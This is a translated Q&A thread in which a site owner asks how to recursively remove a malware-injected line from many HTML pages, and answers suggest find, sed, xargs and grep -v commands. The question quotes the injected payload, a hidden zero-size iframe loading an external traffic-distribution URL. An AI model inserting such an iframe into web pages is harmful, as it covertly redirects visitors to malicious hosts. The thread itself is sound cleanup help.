我需要从多个文件中删除一行

时间:2012-02-07 15:43:46

标签: linux grep replace

恶意软件攻击我的服务器并添加了行

<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>

到我的许多页面

我如何用grep删除它,或者如果有任何其他方法我可以从受影响的所有文件中删除它

编辑:我看到了关于使用sed的评论,但我需要一个递归解决方案,如果有一个

感谢

3 个答案:

答案 0 :(得分:4)

您可以使用findsed递归查找所有感兴趣的文件,并从中删除违规行。

例如,以下命令将从当前目录及其所有子目录中删除所有.html文件中的违规行。

find . -name "*.html" -exec sed -i 's/<iframe src="http:\/\/pokosa.com\/tds\/go.php?sid=1" width="0" height="0" frameborder="0"><\/iframe>//' {} \;

答案 1 :(得分:3)

您可以使用sed替换文件。像

这样的东西
$ sed -i.bak 's|<iframe src="http://pokosa.com.*</iframe>||' your-file

应该为单个文件执行此操作。人们传统上使用/作为分隔符,但如果搜索字符串中有许多/ s,则会变得很麻烦。使用|比较容易。

sedfindxargs相结合,为多个文件执行相同操作:

$ find /var/www -name "*.html" -print0 | xargs -0 sed -i.bak 's|<iframe ...>||'

答案 2 :(得分:2)

最简单的方法可能是倒置grep

$ grep -v pokosa < input > output

您可能希望使用一些额外的后缀使输出与输入相同,然后在重命名输入文件之前运行一些diff:s来验证它是否做了正确的事情。